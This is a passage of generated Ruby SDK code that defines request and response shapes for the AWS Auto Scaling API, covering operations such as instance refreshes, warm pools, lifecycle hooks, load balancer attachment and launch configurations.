DescribeInstanceRefreshesAnswer.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeInstanceRefreshesAnswer.struct_class = Types::DescribeInstanceRefreshesAnswer
DescribeInstanceRefreshesType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DescribeInstanceRefreshesType.add_member(:instance_refresh_ids, Shapes::ShapeRef.new(shape: InstanceRefreshIds, location_name: "InstanceRefreshIds"))
DescribeInstanceRefreshesType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeInstanceRefreshesType.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
DescribeInstanceRefreshesType.struct_class = Types::DescribeInstanceRefreshesType
DescribeLifecycleHookTypesAnswer.add_member(:lifecycle_hook_types, Shapes::ShapeRef.new(shape: AutoScalingNotificationTypes, location_name: "LifecycleHookTypes"))
DescribeLifecycleHookTypesAnswer.struct_class = Types::DescribeLifecycleHookTypesAnswer
DescribeLifecycleHooksAnswer.add_member(:lifecycle_hooks, Shapes::ShapeRef.new(shape: LifecycleHooks, location_name: "LifecycleHooks"))
DescribeLifecycleHooksAnswer.struct_class = Types::DescribeLifecycleHooksAnswer
DescribeLifecycleHooksType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DescribeLifecycleHooksType.add_member(:lifecycle_hook_names, Shapes::ShapeRef.new(shape: LifecycleHookNames, location_name: "LifecycleHookNames"))
DescribeLifecycleHooksType.struct_class = Types::DescribeLifecycleHooksType
DescribeLoadBalancerTargetGroupsRequest.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DescribeLoadBalancerTargetGroupsRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeLoadBalancerTargetGroupsRequest.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
DescribeLoadBalancerTargetGroupsRequest.struct_class = Types::DescribeLoadBalancerTargetGroupsRequest
DescribeLoadBalancerTargetGroupsResponse.add_member(:load_balancer_target_groups, Shapes::ShapeRef.new(shape: LoadBalancerTargetGroupStates, location_name: "LoadBalancerTargetGroups"))
DescribeLoadBalancerTargetGroupsResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeLoadBalancerTargetGroupsResponse.struct_class = Types::DescribeLoadBalancerTargetGroupsResponse
DescribeLoadBalancersRequest.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DescribeLoadBalancersRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeLoadBalancersRequest.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
DescribeLoadBalancersRequest.struct_class = Types::DescribeLoadBalancersRequest
DescribeLoadBalancersResponse.add_member(:load_balancers, Shapes::ShapeRef.new(shape: LoadBalancerStates, location_name: "LoadBalancers"))
DescribeLoadBalancersResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeLoadBalancersResponse.struct_class = Types::DescribeLoadBalancersResponse
DescribeMetricCollectionTypesAnswer.add_member(:metrics, Shapes::ShapeRef.new(shape: MetricCollectionTypes, location_name: "Metrics"))
DescribeMetricCollectionTypesAnswer.add_member(:granularities, Shapes::ShapeRef.new(shape: MetricGranularityTypes, location_name: "Granularities"))
DescribeMetricCollectionTypesAnswer.struct_class = Types::DescribeMetricCollectionTypesAnswer
DescribeNotificationConfigurationsAnswer.add_member(:notification_configurations, Shapes::ShapeRef.new(shape: NotificationConfigurations, required: true, location_name: "NotificationConfigurations"))
DescribeNotificationConfigurationsAnswer.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeNotificationConfigurationsAnswer.struct_class = Types::DescribeNotificationConfigurationsAnswer
DescribeNotificationConfigurationsType.add_member(:auto_scaling_group_names, Shapes::ShapeRef.new(shape: AutoScalingGroupNames, location_name: "AutoScalingGroupNames"))
DescribeNotificationConfigurationsType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeNotificationConfigurationsType.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
DescribeNotificationConfigurationsType.struct_class = Types::DescribeNotificationConfigurationsType
DescribePoliciesType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AutoScalingGroupName"))
DescribePoliciesType.add_member(:policy_names, Shapes::ShapeRef.new(shape: PolicyNames, location_name: "PolicyNames"))
DescribePoliciesType.add_member(:policy_types, Shapes::ShapeRef.new(shape: PolicyTypes, location_name: "PolicyTypes"))
DescribePoliciesType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribePoliciesType.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
DescribePoliciesType.struct_class = Types::DescribePoliciesType
DescribeScalingActivitiesType.add_member(:activity_ids, Shapes::ShapeRef.new(shape: ActivityIds, location_name: "ActivityIds"))
DescribeScalingActivitiesType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AutoScalingGroupName"))
DescribeScalingActivitiesType.add_member(:include_deleted_groups, Shapes::ShapeRef.new(shape: IncludeDeletedGroups, location_name: "IncludeDeletedGroups"))
DescribeScalingActivitiesType.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
DescribeScalingActivitiesType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeScalingActivitiesType.struct_class = Types::DescribeScalingActivitiesType
DescribeScheduledActionsType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AutoScalingGroupName"))
DescribeScheduledActionsType.add_member(:scheduled_action_names, Shapes::ShapeRef.new(shape: ScheduledActionNames, location_name: "ScheduledActionNames"))
DescribeScheduledActionsType.add_member(:start_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "StartTime"))
DescribeScheduledActionsType.add_member(:end_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "EndTime"))
DescribeScheduledActionsType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeScheduledActionsType.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
DescribeScheduledActionsType.struct_class = Types::DescribeScheduledActionsType
DescribeTagsType.add_member(:filters, Shapes::ShapeRef.new(shape: Filters, location_name: "Filters"))
DescribeTagsType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeTagsType.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
DescribeTagsType.struct_class = Types::DescribeTagsType
DescribeTerminationPolicyTypesAnswer.add_member(:termination_policy_types, Shapes::ShapeRef.new(shape: TerminationPolicies, location_name: "TerminationPolicyTypes"))
DescribeTerminationPolicyTypesAnswer.struct_class = Types::DescribeTerminationPolicyTypesAnswer
DescribeWarmPoolAnswer.add_member(:warm_pool_configuration, Shapes::ShapeRef.new(shape: WarmPoolConfiguration, location_name: "WarmPoolConfiguration"))
DescribeWarmPoolAnswer.add_member(:instances, Shapes::ShapeRef.new(shape: Instances, location_name: "Instances"))
DescribeWarmPoolAnswer.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeWarmPoolAnswer.struct_class = Types::DescribeWarmPoolAnswer
DescribeWarmPoolType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DescribeWarmPoolType.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
DescribeWarmPoolType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeWarmPoolType.struct_class = Types::DescribeWarmPoolType
DesiredConfiguration.add_member(:launch_template, Shapes::ShapeRef.new(shape: LaunchTemplateSpecification, location_name: "LaunchTemplate"))
DesiredConfiguration.add_member(:mixed_instances_policy, Shapes::ShapeRef.new(shape: MixedInstancesPolicy, location_name: "MixedInstancesPolicy"))
DesiredConfiguration.struct_class = Types::DesiredConfiguration
DetachInstancesAnswer.add_member(:activities, Shapes::ShapeRef.new(shape: Activities, location_name: "Activities"))
DetachInstancesAnswer.struct_class = Types::DetachInstancesAnswer
DetachInstancesQuery.add_member(:instance_ids, Shapes::ShapeRef.new(shape: InstanceIds, location_name: "InstanceIds"))
DetachInstancesQuery.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DetachInstancesQuery.add_member(:should_decrement_desired_capacity, Shapes::ShapeRef.new(shape: ShouldDecrementDesiredCapacity, required: true, location_name: "ShouldDecrementDesiredCapacity"))
DetachInstancesQuery.struct_class = Types::DetachInstancesQuery
DetachLoadBalancerTargetGroupsResultType.struct_class = Types::DetachLoadBalancerTargetGroupsResultType
DetachLoadBalancerTargetGroupsType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DetachLoadBalancerTargetGroupsType.add_member(:target_group_arns, Shapes::ShapeRef.new(shape: TargetGroupARNs, required: true, location_name: "TargetGroupARNs"))
DetachLoadBalancerTargetGroupsType.struct_class = Types::DetachLoadBalancerTargetGroupsType
DetachLoadBalancersResultType.struct_class = Types::DetachLoadBalancersResultType
DetachLoadBalancersType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DetachLoadBalancersType.add_member(:load_balancer_names, Shapes::ShapeRef.new(shape: LoadBalancerNames, required: true, location_name: "LoadBalancerNames"))
DetachLoadBalancersType.struct_class = Types::DetachLoadBalancersType
DisableMetricsCollectionQuery.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DisableMetricsCollectionQuery.add_member(:metrics, Shapes::ShapeRef.new(shape: Metrics, location_name: "Metrics"))
DisableMetricsCollectionQuery.struct_class = Types::DisableMetricsCollectionQuery
Ebs.add_member(:snapshot_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "SnapshotId"))
Ebs.add_member(:volume_size, Shapes::ShapeRef.new(shape: BlockDeviceEbsVolumeSize, location_name: "VolumeSize"))
Ebs.add_member(:volume_type, Shapes::ShapeRef.new(shape: BlockDeviceEbsVolumeType, location_name: "VolumeType"))
Ebs.add_member(:delete_on_termination, Shapes::ShapeRef.new(shape: BlockDeviceEbsDeleteOnTermination, location_name: "DeleteOnTermination"))
Ebs.add_member(:iops, Shapes::ShapeRef.new(shape: BlockDeviceEbsIops, location_name: "Iops"))
Ebs.add_member(:encrypted, Shapes::ShapeRef.new(shape: BlockDeviceEbsEncrypted, location_name: "Encrypted"))
Ebs.add_member(:throughput, Shapes::ShapeRef.new(shape: BlockDeviceEbsThroughput, location_name: "Throughput"))
Ebs.struct_class = Types::Ebs
EnableMetricsCollectionQuery.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
EnableMetricsCollectionQuery.add_member(:metrics, Shapes::ShapeRef.new(shape: Metrics, location_name: "Metrics"))
EnableMetricsCollectionQuery.add_member(:granularity, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "Granularity"))
EnableMetricsCollectionQuery.struct_class = Types::EnableMetricsCollectionQuery
EnabledMetric.add_member(:metric, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "Metric"))
EnabledMetric.add_member(:granularity, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "Granularity"))
EnabledMetric.struct_class = Types::EnabledMetric
EnabledMetrics.member = Shapes::ShapeRef.new(shape: EnabledMetric)
EnterStandbyAnswer.add_member(:activities, Shapes::ShapeRef.new(shape: Activities, location_name: "Activities"))
EnterStandbyAnswer.struct_class = Types::EnterStandbyAnswer
EnterStandbyQuery.add_member(:instance_ids, Shapes::ShapeRef.new(shape: InstanceIds, location_name: "InstanceIds"))
EnterStandbyQuery.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
EnterStandbyQuery.add_member(:should_decrement_desired_capacity, Shapes::ShapeRef.new(shape: ShouldDecrementDesiredCapacity, required: true, location_name: "ShouldDecrementDesiredCapacity"))
EnterStandbyQuery.struct_class = Types::EnterStandbyQuery
ExcludedInstanceTypes.member = Shapes::ShapeRef.new(shape: ExcludedInstance)
ExecutePolicyType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AutoScalingGroupName"))
ExecutePolicyType.add_member(:policy_name, Shapes::ShapeRef.new(shape: ResourceName, required: true, location_name: "PolicyName"))
ExecutePolicyType.add_member(:honor_cooldown, Shapes::ShapeRef.new(shape: HonorCooldown, location_name: "HonorCooldown"))
ExecutePolicyType.add_member(:metric_value, Shapes::ShapeRef.new(shape: MetricScale, location_name: "MetricValue"))
ExecutePolicyType.add_member(:breach_threshold, Shapes::ShapeRef.new(shape: MetricScale, location_name: "BreachThreshold"))
ExecutePolicyType.struct_class = Types::ExecutePolicyType
ExitStandbyAnswer.add_member(:activities, Shapes::ShapeRef.new(shape: Activities, location_name: "Activities"))
ExitStandbyAnswer.struct_class = Types::ExitStandbyAnswer
ExitStandbyQuery.add_member(:instance_ids, Shapes::ShapeRef.new(shape: InstanceIds, location_name: "InstanceIds"))
ExitStandbyQuery.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
ExitStandbyQuery.struct_class = Types::ExitStandbyQuery
FailedScheduledUpdateGroupActionRequest.add_member(:scheduled_action_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "ScheduledActionName"))
FailedScheduledUpdateGroupActionRequest.add_member(:error_code, Shapes::ShapeRef.new(shape: XmlStringMaxLen64, location_name: "ErrorCode"))
FailedScheduledUpdateGroupActionRequest.add_member(:error_message, Shapes::ShapeRef.new(shape: XmlString, location_name: "ErrorMessage"))
FailedScheduledUpdateGroupActionRequest.struct_class = Types::FailedScheduledUpdateGroupActionRequest
FailedScheduledUpdateGroupActionRequests.member = Shapes::ShapeRef.new(shape: FailedScheduledUpdateGroupActionRequest)
Filter.add_member(:name, Shapes::ShapeRef.new(shape: XmlString, location_name: "Name"))
Filter.add_member(:values, Shapes::ShapeRef.new(shape: Values, location_name: "Values"))
Filter.struct_class = Types::Filter
Filters.member = Shapes::ShapeRef.new(shape: Filter)
GetPredictiveScalingForecastAnswer.add_member(:load_forecast, Shapes::ShapeRef.new(shape: LoadForecasts, required: true, location_name: "LoadForecast"))
GetPredictiveScalingForecastAnswer.add_member(:capacity_forecast, Shapes::ShapeRef.new(shape: CapacityForecast, required: true, location_name: "CapacityForecast"))
GetPredictiveScalingForecastAnswer.add_member(:update_time, Shapes::ShapeRef.new(shape: TimestampType, required: true, location_name: "UpdateTime"))
GetPredictiveScalingForecastAnswer.struct_class = Types::GetPredictiveScalingForecastAnswer
GetPredictiveScalingForecastType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
GetPredictiveScalingForecastType.add_member(:policy_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "PolicyName"))
GetPredictiveScalingForecastType.add_member(:start_time, Shapes::ShapeRef.new(shape: TimestampType, required: true, location_name: "StartTime"))
GetPredictiveScalingForecastType.add_member(:end_time, Shapes::ShapeRef.new(shape: TimestampType, required: true, location_name: "EndTime"))
GetPredictiveScalingForecastType.struct_class = Types::GetPredictiveScalingForecastType
Instance.add_member(:instance_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen19, required: true, location_name: "InstanceId"))
Instance.add_member(:instance_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "InstanceType"))
Instance.add_member(:availability_zone, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AvailabilityZone"))
Instance.add_member(:lifecycle_state, Shapes::ShapeRef.new(shape: LifecycleState, required: true, location_name: "LifecycleState"))
Instance.add_member(:health_status, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, required: true, location_name: "HealthStatus"))
Instance.add_member(:launch_configuration_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "LaunchConfigurationName"))
Instance.add_member(:launch_template, Shapes::ShapeRef.new(shape: LaunchTemplateSpecification, location_name: "LaunchTemplate"))
Instance.add_member(:protected_from_scale_in, Shapes::ShapeRef.new(shape: InstanceProtected, required: true, location_name: "ProtectedFromScaleIn"))
Instance.add_member(:weighted_capacity, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, location_name: "WeightedCapacity"))
Instance.struct_class = Types::Instance
InstanceGenerations.member = Shapes::ShapeRef.new(shape: InstanceGeneration)
InstanceIds.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen19)
InstanceMetadataOptions.add_member(:http_tokens, Shapes::ShapeRef.new(shape: InstanceMetadataHttpTokensState, location_name: "HttpTokens"))
InstanceMetadataOptions.add_member(:http_put_response_hop_limit, Shapes::ShapeRef.new(shape: InstanceMetadataHttpPutResponseHopLimit, location_name: "HttpPutResponseHopLimit"))
InstanceMetadataOptions.add_member(:http_endpoint, Shapes::ShapeRef.new(shape: InstanceMetadataEndpointState, location_name: "HttpEndpoint"))
InstanceMetadataOptions.struct_class = Types::InstanceMetadataOptions
InstanceMonitoring.add_member(:enabled, Shapes::ShapeRef.new(shape: MonitoringEnabled, location_name: "Enabled"))
InstanceMonitoring.struct_class = Types::InstanceMonitoring
InstanceRefresh.add_member(:instance_refresh_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "InstanceRefreshId"))
InstanceRefresh.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AutoScalingGroupName"))
InstanceRefresh.add_member(:status, Shapes::ShapeRef.new(shape: InstanceRefreshStatus, location_name: "Status"))
InstanceRefresh.add_member(:status_reason, Shapes::ShapeRef.new(shape: XmlStringMaxLen1023, location_name: "StatusReason"))
InstanceRefresh.add_member(:start_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "StartTime"))
InstanceRefresh.add_member(:end_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "EndTime"))
InstanceRefresh.add_member(:percentage_complete, Shapes::ShapeRef.new(shape: IntPercent, location_name: "PercentageComplete"))
InstanceRefresh.add_member(:instances_to_update, Shapes::ShapeRef.new(shape: InstancesToUpdate, location_name: "InstancesToUpdate"))
InstanceRefresh.add_member(:progress_details, Shapes::ShapeRef.new(shape: InstanceRefreshProgressDetails, location_name: "ProgressDetails"))
InstanceRefresh.add_member(:preferences, Shapes::ShapeRef.new(shape: RefreshPreferences, location_name: "Preferences"))
InstanceRefresh.add_member(:desired_configuration, Shapes::ShapeRef.new(shape: DesiredConfiguration, location_name: "DesiredConfiguration"))
InstanceRefresh.struct_class = Types::InstanceRefresh
InstanceRefreshIds.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen255)
InstanceRefreshInProgressFault.add_member(:message, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "message"))
InstanceRefreshInProgressFault.struct_class = Types::InstanceRefreshInProgressFault
InstanceRefreshLivePoolProgress.add_member(:percentage_complete, Shapes::ShapeRef.new(shape: IntPercent, location_name: "PercentageComplete"))
InstanceRefreshLivePoolProgress.add_member(:instances_to_update, Shapes::ShapeRef.new(shape: InstancesToUpdate, location_name: "InstancesToUpdate"))
InstanceRefreshLivePoolProgress.struct_class = Types::InstanceRefreshLivePoolProgress
InstanceRefreshProgressDetails.add_member(:live_pool_progress, Shapes::ShapeRef.new(shape: InstanceRefreshLivePoolProgress, location_name: "LivePoolProgress"))
InstanceRefreshProgressDetails.add_member(:warm_pool_progress, Shapes::ShapeRef.new(shape: InstanceRefreshWarmPoolProgress, location_name: "WarmPoolProgress"))
InstanceRefreshProgressDetails.struct_class = Types::InstanceRefreshProgressDetails
InstanceRefreshWarmPoolProgress.add_member(:percentage_complete, Shapes::ShapeRef.new(shape: IntPercent, location_name: "PercentageComplete"))
InstanceRefreshWarmPoolProgress.add_member(:instances_to_update, Shapes::ShapeRef.new(shape: InstancesToUpdate, location_name: "InstancesToUpdate"))
InstanceRefreshWarmPoolProgress.struct_class = Types::InstanceRefreshWarmPoolProgress
InstanceRefreshes.member = Shapes::ShapeRef.new(shape: InstanceRefresh)
InstanceRequirements.add_member(:v_cpu_count, Shapes::ShapeRef.new(shape: VCpuCountRequest, required: true, location_name: "VCpuCount"))
InstanceRequirements.add_member(:memory_mi_b, Shapes::ShapeRef.new(shape: MemoryMiBRequest, required: true, location_name: "MemoryMiB"))
InstanceRequirements.add_member(:cpu_manufacturers, Shapes::ShapeRef.new(shape: CpuManufacturers, location_name: "CpuManufacturers"))
InstanceRequirements.add_member(:memory_gi_b_per_v_cpu, Shapes::ShapeRef.new(shape: MemoryGiBPerVCpuRequest, location_name: "MemoryGiBPerVCpu"))
InstanceRequirements.add_member(:excluded_instance_types, Shapes::ShapeRef.new(shape: ExcludedInstanceTypes, location_name: "ExcludedInstanceTypes"))
InstanceRequirements.add_member(:instance_generations, Shapes::ShapeRef.new(shape: InstanceGenerations, location_name: "InstanceGenerations"))
InstanceRequirements.add_member(:spot_max_price_percentage_over_lowest_price, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "SpotMaxPricePercentageOverLowestPrice"))
InstanceRequirements.add_member(:on_demand_max_price_percentage_over_lowest_price, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "OnDemandMaxPricePercentageOverLowestPrice"))
InstanceRequirements.add_member(:bare_metal, Shapes::ShapeRef.new(shape: BareMetal, location_name: "BareMetal"))
InstanceRequirements.add_member(:burstable_performance, Shapes::ShapeRef.new(shape: BurstablePerformance, location_name: "BurstablePerformance"))
InstanceRequirements.add_member(:require_hibernate_support, Shapes::ShapeRef.new(shape: NullableBoolean, location_name: "RequireHibernateSupport"))
InstanceRequirements.add_member(:network_interface_count, Shapes::ShapeRef.new(shape: NetworkInterfaceCountRequest, location_name: "NetworkInterfaceCount"))
InstanceRequirements.add_member(:local_storage, Shapes::ShapeRef.new(shape: LocalStorage, location_name: "LocalStorage"))
InstanceRequirements.add_member(:local_storage_types, Shapes::ShapeRef.new(shape: LocalStorageTypes, location_name: "LocalStorageTypes"))
InstanceRequirements.add_member(:total_local_storage_gb, Shapes::ShapeRef.new(shape: TotalLocalStorageGBRequest, location_name: "TotalLocalStorageGB"))
InstanceRequirements.add_member(:baseline_ebs_bandwidth_mbps, Shapes::ShapeRef.new(shape: BaselineEbsBandwidthMbpsRequest, location_name: "BaselineEbsBandwidthMbps"))
InstanceRequirements.add_member(:accelerator_types, Shapes::ShapeRef.new(shape: AcceleratorTypes, location_name: "AcceleratorTypes"))
InstanceRequirements.add_member(:accelerator_count, Shapes::ShapeRef.new(shape: AcceleratorCountRequest, location_name: "AcceleratorCount"))
InstanceRequirements.add_member(:accelerator_manufacturers, Shapes::ShapeRef.new(shape: AcceleratorManufacturers, location_name: "AcceleratorManufacturers"))
InstanceRequirements.add_member(:accelerator_names, Shapes::ShapeRef.new(shape: AcceleratorNames, location_name: "AcceleratorNames"))
InstanceRequirements.add_member(:accelerator_total_memory_mi_b, Shapes::ShapeRef.new(shape: AcceleratorTotalMemoryMiBRequest, location_name: "AcceleratorTotalMemoryMiB"))
InstanceRequirements.struct_class = Types::InstanceRequirements
InstanceReusePolicy.add_member(:reuse_on_scale_in, Shapes::ShapeRef.new(shape: ReuseOnScaleIn, location_name: "ReuseOnScaleIn"))
InstanceReusePolicy.struct_class = Types::InstanceReusePolicy
Instances.member = Shapes::ShapeRef.new(shape: Instance)
InstancesDistribution.add_member(:on_demand_allocation_strategy, Shapes::ShapeRef.new(shape: XmlString, location_name: "OnDemandAllocationStrategy"))
InstancesDistribution.add_member(:on_demand_base_capacity, Shapes::ShapeRef.new(shape: OnDemandBaseCapacity, location_name: "OnDemandBaseCapacity"))
InstancesDistribution.add_member(:on_demand_percentage_above_base_capacity, Shapes::ShapeRef.new(shape: OnDemandPercentageAboveBaseCapacity, location_name: "OnDemandPercentageAboveBaseCapacity"))
InstancesDistribution.add_member(:spot_allocation_strategy, Shapes::ShapeRef.new(shape: XmlString, location_name: "SpotAllocationStrategy"))
InstancesDistribution.add_member(:spot_instance_pools, Shapes::ShapeRef.new(shape: SpotInstancePools, location_name: "SpotInstancePools"))
InstancesDistribution.add_member(:spot_max_price, Shapes::ShapeRef.new(shape: MixedInstanceSpotPrice, location_name: "SpotMaxPrice"))
InstancesDistribution.struct_class = Types::InstancesDistribution
InvalidNextToken.add_member(:message, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "message"))
InvalidNextToken.struct_class = Types::InvalidNextToken
LaunchConfiguration.add_member(:launch_configuration_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "LaunchConfigurationName"))
LaunchConfiguration.add_member(:launch_configuration_arn, Shapes::ShapeRef.new(shape: ResourceName, location_name: "LaunchConfigurationARN"))
LaunchConfiguration.add_member(:image_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "ImageId"))
LaunchConfiguration.add_member(:key_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "KeyName"))
LaunchConfiguration.add_member(:security_groups, Shapes::ShapeRef.new(shape: SecurityGroups, location_name: "SecurityGroups"))
LaunchConfiguration.add_member(:classic_link_vpc_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "ClassicLinkVPCId"))
LaunchConfiguration.add_member(:classic_link_vpc_security_groups, Shapes::ShapeRef.new(shape: ClassicLinkVPCSecurityGroups, location_name: "ClassicLinkVPCSecurityGroups"))
LaunchConfiguration.add_member(:user_data, Shapes::ShapeRef.new(shape: XmlStringUserData, location_name: "UserData"))
LaunchConfiguration.add_member(:instance_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "InstanceType"))
LaunchConfiguration.add_member(:kernel_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "KernelId"))
LaunchConfiguration.add_member(:ramdisk_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "RamdiskId"))
LaunchConfiguration.add_member(:block_device_mappings, Shapes::ShapeRef.new(shape: BlockDeviceMappings, location_name: "BlockDeviceMappings"))
LaunchConfiguration.add_member(:instance_monitoring, Shapes::ShapeRef.new(shape: InstanceMonitoring, location_name: "InstanceMonitoring"))
LaunchConfiguration.add_member(:spot_price, Shapes::ShapeRef.new(shape: SpotPrice, location_name: "SpotPrice"))
LaunchConfiguration.add_member(:iam_instance_profile, Shapes::ShapeRef.new(shape: XmlStringMaxLen1600, location_name: "IamInstanceProfile"))
LaunchConfiguration.add_member(:created_time, Shapes::ShapeRef.new(shape: TimestampType, required: true, location_name: "CreatedTime"))
LaunchConfiguration.add_member(:ebs_optimized, Shapes::ShapeRef.new(shape: EbsOptimized, location_name: "EbsOptimized"))
LaunchConfiguration.add_member(:associate_public_ip_address, Shapes::ShapeRef.new(shape: AssociatePublicIpAddress, location_name: "AssociatePublicIpAddress"))
LaunchConfiguration.add_member(:placement_tenancy, Shapes::ShapeRef.new(shape: XmlStringMaxLen64, location_name: "PlacementTenancy"))
LaunchConfiguration.add_member(:metadata_options, Shapes::ShapeRef.new(shape: InstanceMetadataOptions, location_name: "MetadataOptions"))
LaunchConfiguration.struct_class = Types::LaunchConfiguration
LaunchConfigurationNameType.add_member(:launch_configuration_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "LaunchConfigurationName"))
LaunchConfigurationNameType.struct_class = Types::LaunchConfigurationNameType
LaunchConfigurationNames.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen255)
LaunchConfigurationNamesType.add_member(:launch_configuration_names, Shapes::ShapeRef.new(shape: LaunchConfigurationNames, location_name: "LaunchConfigurationNames"))
LaunchConfigurationNamesType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
LaunchConfigurationNamesType.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
LaunchConfigurationNamesType.struct_class = Types::LaunchConfigurationNamesType
LaunchConfigurations.member = Shapes::ShapeRef.new(shape: LaunchConfiguration)
LaunchConfigurationsType.add_member(:launch_configurations, Shapes::ShapeRef.new(shape: LaunchConfigurations, required: true, location_name: "LaunchConfigurations"))
LaunchConfigurationsType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
LaunchConfigurationsType.struct_class = Types::LaunchConfigurationsType
LaunchTemplate.add_member(:launch_template_specification, Shapes::ShapeRef.new(shape: LaunchTemplateSpecification, location_name: "LaunchTemplateSpecification"))
